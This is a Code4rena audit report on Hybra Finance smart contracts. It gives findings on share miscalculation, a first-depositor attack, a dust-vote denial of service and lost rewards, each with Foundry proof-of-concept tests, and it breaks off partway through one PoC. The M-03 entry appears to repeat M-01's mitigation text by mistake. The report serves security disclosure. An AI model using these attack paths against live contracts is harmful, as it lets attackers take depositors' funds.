Hybra Finance
Findings & Analysis Report
2025-11-20
Table of contents
- Summary
- Scope
- Severity Criteria
-
- [M-01]
CLFactoryignores dynamic fees above 10% and silently falls back to default - [M-02] Users emergency withdrawing will lose all past accrued rewards
- [M-03] First depositor attack possible through multiple attack paths because the deposit function does not check 0 shares received
- [M-04] Dust vote on one pool prevents
poke() - [M-05] Rollover rewards are permanently lost due to flawed
rewardRatecalculation - [M-07] Claiming rewards in
GovernanceHYBRwill always revert - [M-08] Incorrect voting power calculation when
create_lockandincrease_amountare called in the same transaction - [M-09] CL gauge accepts unverified pools, allowing malicious pool to brick distribution
- [M-01]
- Disclosures
Overview
About C4
Code4rena (C4) is a competitive audit platform where security researchers, referred to as Wardens, review, audit, and analyze codebases for security vulnerabilities in exchange for bounties provided by sponsoring projects.
During the audit outlined in this document, C4 conducted an analysis of the Hybra Finance smart contract system. The audit took place from October 06 to October 16, 2025.
Following the C4 audit, 3 wardens (niffylord, rayss, and ZanyBonzy) reviewed the mitigations for all sponsor-confirmed issues; the mitigation review report is appended below the audit report.
Final report assembled by Code4rena.
Summary
The C4 analysis yielded an aggregated total of 10 unique vulnerabilities. Of these vulnerabilities, 1 received a risk rating in the category of HIGH severity and 9 received a risk rating in the category of MEDIUM severity.
Additionally, C4 analysis included 45 reports detailing issues with a risk rating of LOW severity or non-critical.
All of the issues presented here are linked back to their original finding, which may include relevant context from the judge and Hybra Finance team.
Considering the number of issues identified, it is statistically likely that there are more complex bugs still present that could not be identified given the time-boxed nature of this engagement. It is recommended that a follow-up audit and development of a more complex stateful test suite be undertaken prior to continuing to deploy significant monetary capital to production.
Scope
The code under review can be found within the C4 Hybra Finance repository, and is composed of 14 smart contracts written in the Solidity programming language and includes 3,846 lines of Solidity code.
The code in C4’s Hybra Finance repository was pulled from:
- Repository: https://github.com/hybra-finance/hybra-finance
- Commit hash:
480cb4ee6e604bdc9169f89094499bbc774f3dfa
Severity Criteria
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
High Risk Findings (1)
[H-01] Assets deposited before calculating shares amount to mint will cause users to mint less shares
Submitted by asui, also found by 0xauditagent, 0xBugSlayer, 0xJason, 0xnija, 0xRaz, Albert, axelot, ayden, Boy2000, classic-k, dee24, EtherEngineer, harry, InvarianteX, itsravin0x, kjc, KKKKK, kmkm, KuwaTakushi, LhoussainePh, luncy, mbuba666, oct0pwn, Olami978355, OnyxAudits, piki, silver_eth, Sourav_DEV, testnate, the_haritz, Vagner, ZanyBonzy, and zcai
GovernanceHYBR.sol #L137-L144
Summary
} else {
// Add to existing veNFT
IERC20(HYBR).approve(votingEscrow, amount);
IVotingEscrow(votingEscrow).deposit_for(veTokenId, amount);
// Extend lock to maximum duration
_extendLockToMax();
}
// Calculate shares to mint based on current totalAssets
uint256 shares = calculateShares(amount);
// Mint gHYBR shares
_mint(recipient, shares);
As we can see, the GovernanceHYBR::deposit function first deposits the HYBR into the votingEscrow before calculating and minting shares.
This will deposit the tokens first increasing the totalAssets() and the new totalAssets() will be used in shares = calculateShares(amount)
This results in incorrect calculation of shares for the users beause their deposits are treated as rewards and they are minted shares with the new rate and will suffer slippage from their own tokens.
Example:
- Initially Bob has a deposit of 100 gHYBR : 100 HYBR, ie.. 1:1 shares to asset ratio
- Alice also enter with 100 assets(HYBR),
- In an ideal condition, Alice is expected to recieve 100 shares because the ratio is 1:1 at the time of deposit
- but because deposit is done first before calculating shares,
- Alice will get,
shares = 100 * 100 / (100 +100)i.e. only 50 shares
Impact
Loss of assets for users by minting less shares.
Recommended mitigation steps
Make sure that the ratio at the time of deposit must be used to calculate the shares to mint:
IERC20(HYBR).transferFrom(msg.sender, address(this), amount);
+ uint256 shares = calculateShares(amount);
// Initialize veNFT on first deposit
if (veTokenId == 0) {
_initializeVeNFT(amount);
} else {
// Add to existing veNFT
IERC20(HYBR).approve(votingEscrow, amount);
IVotingEscrow(votingEscrow).deposit_for(veTokenId, amount);
// Extend lock to maximum duration
_extendLockToMax();
}
// Calculate shares to mint based on current totalAssets
- uint256 shares = calculateShares(amount);
Proof of concept
forge test --mt test_test_submissionValidity -vvv
function test_submissionValidity() external {
address bob = makeAddr("bob");
address alice = makeAddr("alice");
vm.startPrank(address(minter));
hybr.mint(bob, 100e18);
hybr.mint(alice, 100e18);
vm.stopPrank();
// bob mints gHYBR shares at 1:1 ratio
vm.startPrank(bob);
hybr.approve(address(gHybr), 100e18);
gHybr.deposit(100e18, bob);
uint bobShares = gHybr.balanceOf(bob);
console.log("Bob shares: ", bobShares);
uint shareToAssetRatio = gHybr.calculateAssets(1e18);
vm.stopPrank();
// Alice mints gHYBR shares at 1:1 ratio but gets less shares due to the incorrect shares calculation
vm.startPrank(alice);
hybr.approve(address(gHybr), 100e18);
gHybr.deposit(100e18, alice);
uint aliceShares = gHybr.balanceOf(alice);
console.log("Alice shares: ", aliceShares);
uint aliceShareToAssetRatio = gHybr.calculateAssets(1e18);
vm.stopPrank();
console.log("ratio after Bob deposits : ", shareToAssetRatio);
console.log("ratio after Alice deposits even when there was no rewards distribution: ", aliceShareToAssetRatio);
}
We can see from the test console that Alice recieves less shares than bob with the same assset amount deposits.
S-321 calculating shares use the pool ratio at the time of deposit S-352 check share is zero S- 101 too many locks check
Status: Mitigation confirmed. Full details in the mitigation review reports from niffylord, rayss, and ZanyBonzy.
Medium Risk Findings (9)
[M-01] CLFactory ignores dynamic fees above 10% and silently falls back to default
Submitted by niffylord, also found by JuggerNaut63, ljj, Nexarion, and ZanyBonzy
CLFactory.sol [#L176-L189[(https://github.com/code-423n4/2025-10-hybra-finance/blob/main/cl/contracts/core/CLFactory.sol#L176-L189)
Summary
Governance can configure DynamicSwapFeeModule with fees up to 50%, but CLFactory.getSwapFee discards any value above 100_000 ppm (10%) and falls back to the tick-spacing default (often 500 ppm = 0.05%) without reverting or logging. Operators see the module reporting 20%, yet users continue paying the tiny default fee. The silent fallback misleads governance into believing higher fees are active.
Impact
- Governance believes a protective high fee is set (e.g., during launch anti-MEV), but the effective fee drops back to the default (e.g., 0.05%).
- Traders are charged far less than intended, defeating protective or revenue objectives.
- The misconfiguration has no on-chain signal, so the mistake can persist unnoticed.
Root Cause
getSwapFeechecksfee <= 100_000; larger values are ignored and the function returnstickSpacingToFee.- The module itself allows
feeCapup to 500_000 (50%), so governance can set a value the factory immediately discards in favor of the default.
Reference: cl/contracts/core/CLFactory.sol#L176-L189
Mitigation
- Either revert when the module returns > 100_000 or raise the factory ceiling to match the module’s cap.
- Emit events or add admin tooling to surface out-of-range configurations so operators can correct them.
Proof of concept
```bash cd cl forge test --match-path test/PoC_DynamicFee_ClampToDefault.t.sol -vvv ``` The PoC lifts the module cap, sets a 20% custom fee, and shows that `DynamicSwapFeeModule.getFee` returns 200_000 while `CLFactory.getSwapFee` still returns the base 500 ppm.PoC source (cl/test/PoC_DynamicFee_ClampToDefault.t.sol):
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
pragma abicoder v2;
import "forge-std/Test.sol";
import {C4PoCTestbed} from "./C4PoCTestbed.t.sol";
import {DynamicSwapFeeModule} from "contracts/core/fees/DynamicSwapFeeModule.sol";
contract PoC_DynamicFee_ClampToDefault is C4PoCTestbed {
address internal pool;
function setUp() public override {
super.setUp();
pool = poolFactory.createPool(USDC, DAI, 100, uint160(2**96));
require(pool != address(0), "pool not created");
}
function testFactoryClampsFeeAboveTenPercent() public {
address manager = poolFactory.swapFeeManager();
vm.prank(manager);
swapFeeModule.setFeeCap(pool, 500_000); // raise module cap to 50%
vm.prank(manager);
swapFeeModule.setScalingFactor(pool, 1); // ensure positive TWAP delta doesn't zero fee
uint24 highFee = 200_000; // 20%
vm.prank(manager);
swapFeeModule.setCustomFee(pool, highFee);
uint24 moduleFee = swapFeeModule.getFee(pool);
assertEq(uint256(moduleFee), uint256(highFee), "module reports configured fee");
uint24 factoryFee = poolFactory.getSwapFee(pool);
assertEq(uint256(factoryFee), 500, "factory silently clamps to tick-spacing default");
}
}
Added setMaxFee() function to make the fee cap configurable by the owner (up to 50%). This replaces the hardcoded limit and allows governance to adjust the maximum dynamic fee when needed.
Status: Mitigation confirmed. Full details in the mitigation review reports from niffylord, rayss, and ZanyBonzy.
[M-02] Users emergency withdrawing will lose all past accrued rewards
Submitted by Huntoor, also found by ayden, dee24, kimnoic, Nyxaris, Olami978355, rayss
This issue was also found by V12.
Summary
in the GaugeV2 contract, if the contract was emergency activated, users calling emergencyWithdraw() will lose all past accrued rewards that didn’t have updateReward() called on it previously
for a user to earn rewards, he gets his mappings updated here
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
as we see above, rewards mapping is registered as the return data from earned(), and when we look at it we see
function earned(address account) public view returns (uint256) {
return rewards[account] + _balanceOf(account) * (rewardPerToken() - userRewardPerTokenPaid[account]) / 1e18;
}
we see that it returns old rewards + current balance of the user multiplied by the rewardPerToken (abstractly)
so what happen will be as follows:
- User stake 100e18 tokens
- emergency activated
- he had already earnt before the emergency 10e18 tokens not registered on his rewards mapping since he didn’t call deposit/withdraw/getRewards to update his rewards
- call emergencyWithdraw and his balance now is 0.
- now
earned()function return 0 rewards since his balance is 0 * rewardPerToken = 0
also the left-off rewards tokens are stuck in the contract forever.
Impact: Loss of rewards for users and stuck reward tokens in the contract
Recommended mitigation steps
Add the updateReward modifier to the emergencyWithdraw() call
Proof of concept
paste in `ve33/test/C4PoC.t.sol` function test_emergencyWithdraw_strandsRewardsAndBurnsUserAccrual()
external
{
vm.startPrank(address(this));
// Use HYBR both as staking TOKEN and rewardToken for simplicity
// We have HYBR minted to this test from setup_InitMinter()
uint256 initialHybr = hybr.balanceOf(address(this));
assertGt(initialHybr, 0, "expected HYBR from initial mint");
// Deploy GaugeV2
GaugeV2 gauge = new GaugeV2(
address(hybr),
address(rewardHybr),
address(votingEscrow),
address(hybr),
address(this),
address(0),
address(0),
false
);
// Stake HYBR
uint256 stakeAmount = 100 ether;
hybr.approve(address(gauge), type(uint256).max);
gauge.deposit(stakeAmount);
// Fund rewards
uint256 rewardAmount = 1_000 ether;
hybr.approve(address(gauge), rewardAmount);
gauge.notifyRewardAmount(address(hybr), rewardAmount);
// Accrue some rewards
vm.warp(block.timestamp + 7 days / 14);
uint256 accruedBefore = gauge.earned(address(this));
assertGt(
accruedBefore,
0,
"accrued must be > 0 before emergencyWithdraw"
);
// Enable emergency and withdraw
gauge.activateEmergencyMode();
gauge.emergencyWithdraw();
uint256 accruedAfter = gauge.earned(address(this));
assertEq(
accruedAfter,
0,
"accrued should be zero after emergencyWithdraw"
);
uint256 stuckRewards = hybr.balanceOf(address(gauge));
assertGt(stuckRewards, 0, "reward tokens remain stuck in gauge");
vm.stopPrank();
}
Hybra Finance disputed this finding.
[M-03] First depositor attack possible through multiple attack paths because the deposit function does not check 0 shares received
Submitted by asui, also found by 0xBugSlayer, 0xDemon, 0xPSB, Almanax, ayden, blokfrank, classic-k, CoheeYang, EtherEngineer, fullstop, Huntoor, ibrahimatix0x01, IzuMan, kestyvickky, khaye26, MoZi, odeili, osok, piki, queen, reidnerFM, rzizah, Sancybars, Sejin, shieldrey, silver_eth, the_haritz, zoox, and zubyoz
GovernanceHYBR.sol#L144GovernanceHYBR.sol#L492-L509GovernanceHYBR.sol#L238
Summary
The gHYBR contract is just another veNFT position holder from the perspective of votingEscrow contract, while the gHYBR contract acts as a vault.
And the deposit does not ensure that we mint at least one gHYBR share. This can lead to a contdition where the first depositor attacks another user.
Example:
- Alice deposits dust shares, 1 share : 1 asset
- Alice donates 1000e18 assets before Bob deposits, through
deposit_for, and he increased the ratio by1 shares : 1000e18 assets - Bob deposits 100e18 assets, the shares calculation goes
100e18 * 1 / 1000e18and rounds down to 0 - Receives 0 shares
- All bob’s deposit is captured by Alice’s shares
- Bob deposits 100e18 assets and receives 0 shares
- Alice has 1 share worth
1000e18 + 100e18(bob's) assets
The entry points the attacker can use to perform this attack are:
- The votingEscrow contract allows anyone to deposit assets for any position through its public
deposit_for(uint _tokenId, uint _value) external nonreentrantfunction. - The
receivePenaltyRewardfunction inGovernanceHYBRcontract lacks access controll, which allows an attacker to donate to increase totalAssets. - Attacker can utilize multiSplit through withdraw, by first depositing 1000:1000 and withdrawing so that the leftover is 1:1 ratio dust.
Recommended mitigation steps
My best suggestion is to require share > 0 in the deposit function in the GovernanceHYBR contract, and also add access control for the receivePenaltyReward function.
Proof of concept
function test_submissionValidity() external {
// first depositor attack
address alice = makeAddr("alice");
address bob = makeAddr("bob");
vm.startPrank(address(minter));
hybr.mint(alice, 2000e18);
hybr.mint(bob, 100e18);
vm.stopPrank();
vm.startPrank(alice);
hybr.approve(address(gHybr), type(uint).max);
gHybr.deposit(2, alice);
hybr.transfer(address(gHybr), 1000e18); // alice transfers 1000 HYBR to gHYBR
gHybr.receivePenaltyReward(1000e18); // alice donates 1000 through the receivePenaltyReward function
vm.stopPrank();
// bob deposits
vm.startPrank(bob);
hybr.approve(address(gHybr),100e18);
gHybr.deposit(100e18, bob);
vm.stopPrank();
console.log("alice's shares: ",gHybr.balanceOf(alice));
console.log("bob's shares: ",gHybr.balanceOf(bob));
console.log("gHYBR total assets: ",gHybr.totalAssets());
}
Run this test and see the result :
- Alice’s shares: 2
- Bob’s shares: 0
- gHYBR total assets: 1100000000000000000002
Alice captures all of Bob’s deposits.
Here, Alice used the receivePenaltyReward to donate and increase totalAssets. I want to show why access control is needed on receivePenaltyReward, Alice can also use other means to increase the totalAssets, like the ones mentioned above.
Note that the share calcuation is wrong, which makes the atack possible without even donation: i.e., first depositor only needs to deposit 1 dust asset for 1 share and he will capture all the send depositor’s tokens. But this is another issue and different from this one; this one will work even after the other one is fixed.
Added setMaxFee() function to make the fee cap configurable by the owner (up to 50%). This replaces the hardcoded limit and allows governance to adjust the maximum dynamic fee when needed.
Status: Mitigation confirmed. Full details in the mitigation review reports from niffylord, rayss, and ZanyBonzy.
[M-04] Dust vote on one pool prevents poke()
Submitted by Huntoor, also found by 0xDjango, OpaBatyo, and Vagner
VoterV3.sol #L208-L211
Summary
before describing the vulnerability, we should know that in ve3.3 systems, poke is important to make anyone reflect the decaying vote weight to prevent users from being inactive on votes to have their full weight votes on a pool.
in VoterV3 users chose what pools they want to vote for and the contract retrieve their ve weight upon doing so
uint256 _weight = IVotingEscrow(_ve).balanceOfNFT(_tokenId);
and upon voting for a pool, that weight affect the claimable share distribution of that pool compared to other pools
File: GaugeManager.sol
376: uint256 _supplied = IVoter(voter).weights(_pool);
377:
378: if (_supplied > 0) {
379: uint256 _supplyIndex = supplyIndex[_gauge];
380: uint256 _index = index; // get global index0 for accumulated distro
381: // SupplyIndex will be updated for Killed Gauges as well so we don't need to udpate index while reviving gauge.
382: supplyIndex[_gauge] = _index; // update _gauge current position to global position
383: uint256 _delta = _index - _supplyIndex; // see if there is any difference that need to be accrued
384: if (_delta > 0) {
385: uint256 _share = _supplied * _delta / 1e18; // add accrued difference for each supplied token
386: if (isAlive[_gauge]) {
387: claimable[_gauge] += _share;
since now we now the importance of the voting weight, and since ve NFT weight decay with time, there is a poke function to update the voting weight made on a pool previously to the decayed weight of than NFT
The poke() function is guarded to be called by the owner or through the ve contract which can have any one depositing for a user or increasing his locked value even by 1wei to poke him to reflect his new decayed weight on the voted pools
An attacker can do the following:
- vote his full weight -
1weion a dedicated pool - vote 1 wei on another pool
- time passes with inactivity from his side - his
vedecay but is not reflected on voted pools - users try to
poke()him through known functions of thevecontract poke()function revert here
File: VoterV3.sol
208: uint256 _poolWeight = _weights[i] * _weight / _totalVoteWeight;
209:
210: require(votes[_tokenId][_pool] == 0, "ZV");
211: require(_poolWeight != 0, "ZV");
since the 1wei vote multiplied by the decayed weight divided by totalVoteWeight round down to 0, hence this users become unpokable.
Impact
the voted for pool will have inflated rewards distributed to him compared to other pools that have pokable users. thinking of this attack at scale
the user will have advantage of having full voting weight if he vote immediately like having permanent lock weight without actually locking his balance permanently. preventing any one from preserving this invariant A single veNFT’s total vote allocation ≤ its available voting power. on his vote balance too
Recommended mitigation steps
Change the require statement to if statement such that
if (_poolWeight = 0) continue;
so we neglect the dust voted pool.
Proof of concept
The following lines were commented during test setup, but they are irrelevant to the bug. ```solidity File: VoterV3.sol 160: if (_timestamp <= HybraTimeLibrary.epochVoteStart(_timestamp)){ 161: revert("DW"); 162: } ``` and ```solidity File: VoterV3.sol 235: if (HybraTimeLibrary.epochStart(block.timestamp) <= lastVoted[_tokenId]) revert("VOTED"); 236: if (block.timestamp <= HybraTimeLibrary.epochVoteStart(block.timestamp)) revert("DW"); ```Paste in ve33\test\C4PoC.t.sol and run with forge test --mt test_dustVote_makesPokeDOS_dueToZeroPoolWeight -vvvv
function test_dustVote_makesPokeDOS_dueToZeroPoolWeight() external {
// Ensure BribeFactory is initialized so GaugeManager can create bribes during gauge creation
BribeFactoryV3(address(bribeFactoryV3)).initialize(
address(voter),
address(gaugeManager),
address(permissionsRegistry),
address(tokenHandler)
);
// Grant roles to allow token whitelisting and connector setup
permissionsRegistry.setRoleFor(address(this), "GOVERNANCE");
permissionsRegistry.setRoleFor(address(this), "GENESIS_MANAGER");
// Whitelist tokens and set connector (HYBR as connector)
address[] memory toks = new address[](3);
toks[0] = address(hybr);
toks[1] = address(gHybr);
toks[2] = address(rewardHybr);
tokenHandler.whitelistTokens(toks);
tokenHandler.whitelistConnector(address(hybr));
// Create two pairs using HYBR as common connector token
address pair0 = thenaFiFactory.createPair(
address(hybr),
address(gHybr),
false
);
address pair1 = thenaFiFactory.createPair(
address(hybr),
address(rewardHybr),
false
);
// Create gauges for both pairs so voter recognizes them as alive pools
gaugeManager.createGauge(pair0, 0);
gaugeManager.createGauge(pair1, 0);
// Create a veNFT lock
uint256 lockAmount = 1e18;
hybr.approve(address(votingEscrow), lockAmount);
uint tokenId = votingEscrow.create_lock(lockAmount, 2 weeks);
// Vote with dust on one pool to set up zero rounding on subsequent poke
address[] memory pools = new address[](2);
pools[0] = pair0;
pools[1] = pair1;
uint256[] memory weights = new uint256[](2);
weights[0] = 1e16 - 1;
weights[1] = 1; // dust
// Ensure we are past vote start window
voter.vote(tokenId, pools, weights);
// Advance time slightly so the NFT balance decays and dust path rounds to zero
vm.warp(block.timestamp + 3);
vm.expectRevert(bytes("ZV")); // _poolWeight != 0 reverts with "ZV"
voter.poke(tokenId);
}
results output
├─ [333085] TransparentUpgradeableProxy::fallback(1)
│ ├─ [332496] VoterV3::poke(1) [delegatecall]
│ │ ├─ [1409] VotingEscrow::isApprovedOrOwner(C4PoC: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1) [staticcall]
│ │ │ └─ ← [Return] true
│ │ ├─ [1875] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
│ │ │ ├─ [1299] GaugeManager::fetchInternalBribeFromPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
│ │ │ │ └─ ← [Return] Bribe: [0xA02A0858A7B38B1f7F3230FAD136BD895C412CE5]
│ │ │ └─ ← [Return] Bribe: [0xA02A0858A7B38B1f7F3230FAD136BD895C412CE5]
│ │ ├─ [2139] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
│ │ │ ├─ [1563] GaugeManager::fetchExternalBribeFromPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
│ │ │ │ └─ ← [Return] Bribe: [0x65B6A5f2965e6f125A8B1189ed57739Ca49Bc70e]
│ │ │ └─ ← [Return] Bribe: [0x65B6A5f2965e6f125A8B1189ed57739Ca49Bc70e]
│ │ ├─ [5575] Bribe::withdraw(19178066335817607 [1.917e16], 1)
│ │ │ ├─ emit Withdrawn(tokenId: 1, amount: 19178066335817607 [1.917e16])
│ │ │ └─ ← [Stop]
│ │ ├─ [5575] Bribe::withdraw(19178066335817607 [1.917e16], 1)
│ │ │ ├─ emit Withdrawn(tokenId: 1, amount: 19178066335817607 [1.917e16])
│ │ │ └─ ← [Stop]
│ │ ├─ emit Abstained(tokenId: 1, weight: 19178066335817607 [1.917e16])
│ │ ├─ [1875] TransparentUpgradeableProxy::fallback(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271])
│ │ │ ├─ [1299] GaugeManager::fetchInternalBribeFromPool(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271]) [delegatecall]
│ │ │ │ └─ ← [Return] Bribe: [0x0d7c1cb36989951d1E1e36A70F1c1d0FA4d53683]
│ │ │ └─ ← [Return] Bribe: [0x0d7c1cb36989951d1E1e36A70F1c1d0FA4d53683]
│ │ ├─ [2139] TransparentUpgradeableProxy::fallback(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271])
│ │ │ ├─ [1563] GaugeManager::fetchExternalBribeFromPool(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271]) [delegatecall]
│ │ │ │ └─ ← [Return] Bribe: [0xf3E8FF27525DA780bf18f6038bf0BEFA99FEdF01]
│ │ │ └─ ← [Return] Bribe: [0xf3E8FF27525DA780bf18f6038bf0BEFA99FEdF01]
│ │ ├─ [5575] Bribe::withdraw(1, 1)
│ │ │ ├─ emit Withdrawn(tokenId: 1, amount: 1)
│ │ │ └─ ← [Stop]
│ │ ├─ [5575] Bribe::withdraw(1, 1)
│ │ │ ├─ emit Withdrawn(tokenId: 1, amount: 1)
│ │ │ └─ ← [Stop]
│ │ ├─ emit Abstained(tokenId: 1, weight: 1)
│ │ ├─ [5410] VotingEscrow::balanceOfNFT(1) [staticcall]
│ │ │ ├─ [3145] VotingBalanceLogic::balanceOfNFT(1, 4, 13) [delegatecall]
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000044224e74595524
│ │ │ └─ ← [Return] 19178018771129636 [1.917e16]
│ │ ├─ [2598] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
│ │ │ ├─ [2022] GaugeManager::isGaugeAliveForPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
│ │ │ │ └─ ← [Return] true
│ │ │ └─ ← [Return] true
│ │ ├─ [2598] TransparentUpgradeableProxy::fallback(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271])
│ │ │ ├─ [2022] GaugeManager::isGaugeAliveForPool(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271]) [delegatecall]
│ │ │ │ └─ ← [Return] true
│ │ │ └─ ← [Return] true
│ │ ├─ [2598] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
│ │ │ ├─ [2022] GaugeManager::isGaugeAliveForPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
│ │ │ │ └─ ← [Return] true
│ │ │ └─ ← [Return] true
│ │ ├─ [1875] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
│ │ │ ├─ [1299] GaugeManager::fetchInternalBribeFromPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
│ │ │ │ └─ ← [Return] Bribe: [0xA02A0858A7B38B1f7F3230FAD136BD895C412CE5]
│ │ │ └─ ← [Return] Bribe: [0xA02A0858A7B38B1f7F3230FAD136BD895C412CE5]
│ │ ├─ [2139] TransparentUpgradeableProxy::fallback(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044])
│ │ │ ├─ [1563] GaugeManager::fetchExternalBribeFromPool(Pair: [0x2b6d5471533B57A9DeffF51491dECcb1f4cD6044]) [delegatecall]
│ │ │ │ └─ ← [Return] Bribe: [0x65B6A5f2965e6f125A8B1189ed57739Ca49Bc70e]
│ │ │ └─ ← [Return] Bribe: [0x65B6A5f2965e6f125A8B1189ed57739Ca49Bc70e]
│ │ ├─ [85352] Bribe::deposit(19178018771129635 [1.917e16], 1)
│ │ │ ├─ emit Staked(tokenId: 1, amount: 19178018771129635 [1.917e16])
│ │ │ └─ ← [Return]
│ │ ├─ [85352] Bribe::deposit(19178018771129635 [1.917e16], 1)
│ │ │ ├─ emit Staked(tokenId: 1, amount: 19178018771129635 [1.917e16])
│ │ │ └─ ← [Return]
│ │ ├─ emit Voted(voter: C4PoC: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], tokenId: 1, weight: 19178018771129635 [1.917e16])
│ │ ├─ [2598] TransparentUpgradeableProxy::fallback(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271])
│ │ │ ├─ [2022] GaugeManager::isGaugeAliveForPool(Pair: [0x3eaB9532F4d9319b035a94Be0462B2228BF6A271]) [delegatecall]
│ │ │ │ └─ ← [Return] true
│ │ │ └─ ← [Return] true
│ │ └─ ← [Revert] ZV
│ └─ ← [Revert] ZV
└─ ← [Return]
Hybra Finance disputed this issue.
[M-05] Rollover rewards are permanently lost due to flawed rewardRate calculation
Submitted by osok, also found by Ibukun, odeili
This issue was also found by V12.
GaugeCL.sol #L256
Summary
The notifyRewardAmount() function miscalculates the rewardRate when a new epoch begins, causing rollover rewards from previous epochs to be permanently lost.
When block.timestamp >= _periodFinish, the function adds both the new rewardAmount and the previous epoch’s clPool.rollover() to form the totalRewardAmount. However, the rewardRate is derived only from rewardAmount, ignoring the rollover portion:
// @audit The total amount to be reserved includes rollover...
uint256 totalRewardAmount = rewardAmount + clPool.rollover();
if (block.timestamp >= _periodFinish) {
// @audit but the rate calculation completely ignores the rollover.
rewardRate = rewardAmount / epochTimeRemaining;
// @audit The pool is synced with a CORRECT reserve but an INCORRECTLY LOW rate.
clPool.syncReward({
rewardRate: rewardRate,
rewardReserve: totalRewardAmount, // Correct total
periodFinish: epochEndTimestamp
});
}
This mismatch means the pool receives the full reserve (new + rollover) but emits rewards too slowly to deplete it. The rollover portion remains stranded, and when the next epoch begins, it is overwritten and effectively erased.
The logic in the else branch fails to correct this issue; instead, it perpetuates the error. The updated rate is calculated using the old, already flawed rewardRate, ensuring that once rollover funds are stranded, they can never be reclaimed through subsequent reward notifications.
Impact
- Permanent Loss of Funds: Unclaimed rollover rewards are locked in the contract and cannot be recovered.
- Reduced LP Yields: Liquidity providers earn less than intended, as part of their entitled rewards never distribute.
- Protocol Resource Waste: Tokens from the treasury or partners are effectively burned, wasting incentive funds.
Recommended mitigation steps
The rewardRate calculation should include the rollover amount to ensure the emission rate matches the total rewards available for distribution. This change guarantees that all rollover rewards are correctly accounted for and eventually distributed.
In GaugeCL.sol:
- rewardRate = rewardAmount / epochTimeRemaining;
+ rewardRate = totalRewardAmount / epochTimeRemaining;
clPool.syncReward({
rewardRate: rewardRate,
rewardReserve: totalRewardAmount,
periodFinish: epochEndTimestamp })
Proof of concept
The following test reproduces the issue in three steps:
- Add
100 etheras rewards, then warp time forward so the entire amount becomes rollover. - Add
50 etheras new rewards, triggering the flawed logic. The CLPool’s reserve is now150 ether, but the rate only allows50 etherto be distributed. - After another time warp and update, the pool’s accounted reserve is ~50 ether, while the actual gauge balance is
150 ether. The ~100 ether difference represents the permanently lost rewards. -
Copy the test below into
cl/test/C4PoC.t.sol, then run:forge test --mt test_PoC_RolloverRewardsAreLost -vvimport "forge-std/Test.sol"; import "forge-std/console2.sol"; // Using console2 for better compatibility import {C4PoCTestbed} from "./C4PoCTestbed.t.sol";
import {MockERC20} from “contracts/mocks/MockERC20.sol”; import {ICLPool} from “contracts/core/interfaces/ICLPool.sol”; import {INonfungiblePositionManager} from “contracts/periphery/interfaces/INonfungiblePositionManager.sol”;
// ========================================================================================= // MOCK CONTRACT FOR THE POC // Purpose: This mock contract isolates the specific vulnerable function from the full // CLGauge contract. This allows for a focused test that is easy to understand and audit. // =========================================================================================
contract MockVulnerableCLGauge_Rollover { ICLPool public immutable clPool; MockERC20 public immutable rewardToken; address public immutable DISTRIBUTION;
uint256 public _periodFinish;
uint256 public rewardRate;
constructor(address _clPool, address _rewardToken, address _distribution) {
clPool = ICLPool(_clPool);
rewardToken = MockERC20(_rewardToken);
DISTRIBUTION = _distribution;
}
function _epochNext(uint256 timestamp) internal pure returns (uint256) {
uint256 week = 604800;
return ((timestamp / week) + 1) * week;
}
// THE VULNERABLE FUNCTION: A direct copy of the buggy logic from the original CLGauge contract
function notifyRewardAmount(address token, uint256 rewardAmount) external {
require(msg.sender == DISTRIBUTION, "Only distribution");
require(token == address(rewardToken), "Invalid reward token");
clPool.updateRewardsGrowthGlobal();
uint256 epochTimeRemaining = _epochNext(block.timestamp) - block.timestamp;
uint256 epochEndTimestamp = block.timestamp + epochTimeRemaining;
uint256 totalRewardAmount = rewardAmount + clPool.rollover();
if (block.timestamp >= _periodFinish) {
// `rewardRate` is calculated using ONLY the new `rewardAmount`.
// It completely ignores the `clPool.rollover()` amount that was just calculated.
rewardRate = rewardAmount / epochTimeRemaining;
// The pool is synced with a CORRECT `rewardReserve` (including rollover)
// but an INCORRECTLY LOW `rewardRate`. This mismatch is the root cause of the fund loss.
clPool.syncReward({
rewardRate: rewardRate,
rewardReserve: totalRewardAmount,
periodFinish: epochEndTimestamp
});
} else {
revert("PoC focuses on the new reward period scenario");
}
rewardToken.transferFrom(DISTRIBUTION, address(this), rewardAmount);
